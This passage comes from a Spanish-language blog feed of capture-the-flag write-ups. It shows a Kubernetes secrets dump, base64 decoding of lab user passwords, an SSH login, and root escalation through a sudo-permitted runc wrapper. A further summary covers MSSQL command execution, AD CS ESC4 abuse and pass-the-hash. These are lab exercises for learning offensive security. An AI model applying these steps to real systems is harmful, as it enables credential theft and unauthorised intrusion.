&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ownerReferences&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bitnami.com/v1alpha1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;kind&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;SealedSecret&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user-secret-margotrobbie&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;9751159e-3ed7-4b87-b4a5-3b5835d9c21a&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;controller&amp;#34;&lt;/span&gt;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;managedFields&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;manager&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;controller&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;operation&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;v1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-11-06T15:10:33Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsType&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;FieldsV1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsV1&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:USER_PASSWORD&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:ownerReferences&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;k:{\&amp;#34;uid\&amp;#34;:\&amp;#34;9751159e-3ed7-4b87-b4a5-3b5835d9c21a\&amp;#34;}&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:type&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;USER_PASSWORD&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bzdlRFliSHR4eWNpVEZmMWhPbkFCTWN6MEo5VWNDcXg=&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Opaque&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user-secret-sydneysweeney&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;3699af72-0224-464e-bc76-49924ddb0fed&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;resourceVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2855807&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;creationTimestamp&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-11-06T15:10:31Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ownerReferences&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bitnami.com/v1alpha1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;kind&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;SealedSecret&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;user-secret-sydneysweeney&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2b19a959-177a-4328-93a7-851c548e1ba9&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;controller&amp;#34;&lt;/span&gt;: true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;managedFields&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;manager&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;controller&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;operation&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;v1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-11-06T15:10:31Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsType&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;FieldsV1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;fieldsV1&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:USER_PASSWORD&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:ownerReferences&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;k:{\&amp;#34;uid\&amp;#34;:\&amp;#34;2b19a959-177a-4328-93a7-851c548e1ba9\&amp;#34;}&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;f:type&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;USER_PASSWORD&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;OElnQmxYUms0a2pCVkNWVHBaM2JZZEg4S3V0RFhncnQ=&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Opaque&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El output en JSON revela objetos tipo &lt;code&gt;SealedSecret&lt;/code&gt; en Base64 con credenciales de usuarios del sistema host:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;margotrobbie&lt;/code&gt;: &lt;code&gt;o7eDYbHtxyciTFf1hOnABMcz0J9UcCqx&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sydneysweeney&lt;/code&gt;: &lt;code&gt;8IgBlXRk4kjBVCVTpZ3bYdH8KutDXgrt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;babywyrm&lt;/code&gt;: &lt;code&gt;bsolvFsvRzvIy92B4gM5XiENNVcyGv&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Los secretos de los users estan en base64.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;margotrobbie
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ echo &lt;span style="color:#e6db74"&gt;&amp;#34;bzdlRFliSHR4eWNpVEZmMWhPbkFCTWN6MEo5VWNDcXg=&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;o7eDYbHtxyciTFf1hOnABMcz0J9UcCqx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sydneysweeney
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ echo &lt;span style="color:#e6db74"&gt;&amp;#34;OElnQmxYUms0a2pCVkNWVHBaM2JZZEg4S3V0RFhncnQ=&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8IgBlXRk4kjBVCVTpZ3bYdH8KutDXgrt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;babywyrm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ echo &lt;span style="color:#e6db74"&gt;&amp;#34;YnNvbHZGc3ZSenZJeTkyQjRnTTVYaUVOTlZjeUd2&amp;#34;&lt;/span&gt; | base64 -d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bsolvFsvRzvIy92B4gM5XiENNVcyGv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También encuentro un secreto asociado a MariaDB:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mariadb-password&lt;/code&gt;: &lt;code&gt;c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Me conecto por SSH al host usando las credenciales obtenidas: &lt;code&gt;babywyrm:bsolvFsvRzvIy92B4gM5XiENNVcyGv&lt;/code&gt; y capturo la &lt;strong&gt;User Flag&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-80c7-9866-f169f93a6cfd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;p&gt;Enumero los permisos del usuario &lt;code&gt;babywyrm&lt;/code&gt; en el host y observo que puede ejecutar un binario particular con &lt;code&gt;sudo:&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;babywyrm@giveback&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ sudo /opt/debug run root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al ejecutarlo, el binario solicita una &amp;ldquo;administrative password&amp;rdquo;. Tras probar un poco, confirmo que valida contra la contraseña de MariaDB que extraje de K8s (&lt;code&gt;c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-80ad-9d9c-db520d8111b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Creamos una configuración del sistema con el comando inyectado “$ cat /root/root.txt”&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-8075-afd4-ebce9f9fb523.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El binario es un wrapper de &lt;strong&gt;runc&lt;/strong&gt; (una CLI para ejecutar contenedores OCI). Al ejecutar el comando, obtengo un error indicando que falta el sistema de ficheros raíz del contenedor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;babywyrm@giveback:~/readflag/lala$ sudo /opt/debug run root
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Validating sudo...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Please enter the administrative password:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Both passwords verified. Executing the command...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ERRO&lt;span style="color:#f92672"&gt;[&lt;/span&gt;0000&lt;span style="color:#f92672"&gt;]&lt;/span&gt; runc run failed: invalid rootfs: stat /home/babywyrm/readflag/lala/rootfs: no such file or directory
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para engañar al wrapper y lograr ejecución, creo la estructura de directorios básica que &lt;code&gt;runc&lt;/code&gt; espera en un &lt;code&gt;rootfs&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mkdir rootfs cd rootfs/ mkdir bin dev proc lib lib64 root usr&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A partir de aquí, con la estructura de un contenedor válida (y previsiblemente configurando un &lt;code&gt;config.json&lt;/code&gt; que monte el directorio raíz &lt;code&gt;/&lt;/code&gt; del host en el contenedor), se logra la ejecución del comando o la lectura de la flag para comprometer totalmente la máquina.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/330888fa-f353-80e8-b29f-f1934600c706.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>EscapeTwo (Easy)</title><link>https://synacklabs.github.io/posts/escapetwo/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/escapetwo/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Durante la resolución de &lt;strong&gt;EscapeTwo&lt;/strong&gt;, empecé con una enumeración de servicios y validé acceso a &lt;strong&gt;SMB&lt;/strong&gt; con credenciales proporcionadas. Desde SMB encontré un &lt;strong&gt;.xlsx&lt;/strong&gt; que, tras analizarlo, contenía credenciales válidas (incluyendo &lt;code&gt;sa&lt;/code&gt;). Con &lt;code&gt;sa&lt;/code&gt; accedí a &lt;strong&gt;MSSQL&lt;/strong&gt; y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de &lt;strong&gt;ryan&lt;/strong&gt; en un fichero de configuración de SQL, pivoté por &lt;strong&gt;WinRM&lt;/strong&gt; y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de &lt;strong&gt;AD CS&lt;/strong&gt;. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a &lt;strong&gt;Administrator&lt;/strong&gt;, obtuve su &lt;strong&gt;NT hash&lt;/strong&gt; y entré con &lt;strong&gt;Pass-the-Hash&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Durante la resolución de &lt;strong&gt;EscapeTwo&lt;/strong&gt;, empecé con una enumeración de servicios y validé acceso a &lt;strong&gt;SMB&lt;/strong&gt; con credenciales proporcionadas. Desde SMB encontré un &lt;strong&gt;.xlsx&lt;/strong&gt; que, tras analizarlo, contenía credenciales válidas (incluyendo &lt;code&gt;sa&lt;/code&gt;). Con &lt;code&gt;sa&lt;/code&gt; accedí a &lt;strong&gt;MSSQL&lt;/strong&gt; y habilité ejecución de comandos para obtener una shell. Desde la máquina, recuperé credenciales de &lt;strong&gt;ryan&lt;/strong&gt; en un fichero de configuración de SQL, pivoté por &lt;strong&gt;WinRM&lt;/strong&gt; y, tras analizar el dominio (BloodHound), identifiqué una ruta de abuso de &lt;strong&gt;AD CS&lt;/strong&gt;. Aproveché permisos sobre plantillas (ESC4) para hacerla explotable, solicité un certificado suplantando a &lt;strong&gt;Administrator&lt;/strong&gt;, obtuve su &lt;strong&gt;NT hash&lt;/strong&gt; y entré con &lt;strong&gt;Pass-the-Hash&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8090-8342-de92c74bd033.png" alt="Imagen del post"&gt;&lt;/p&gt;
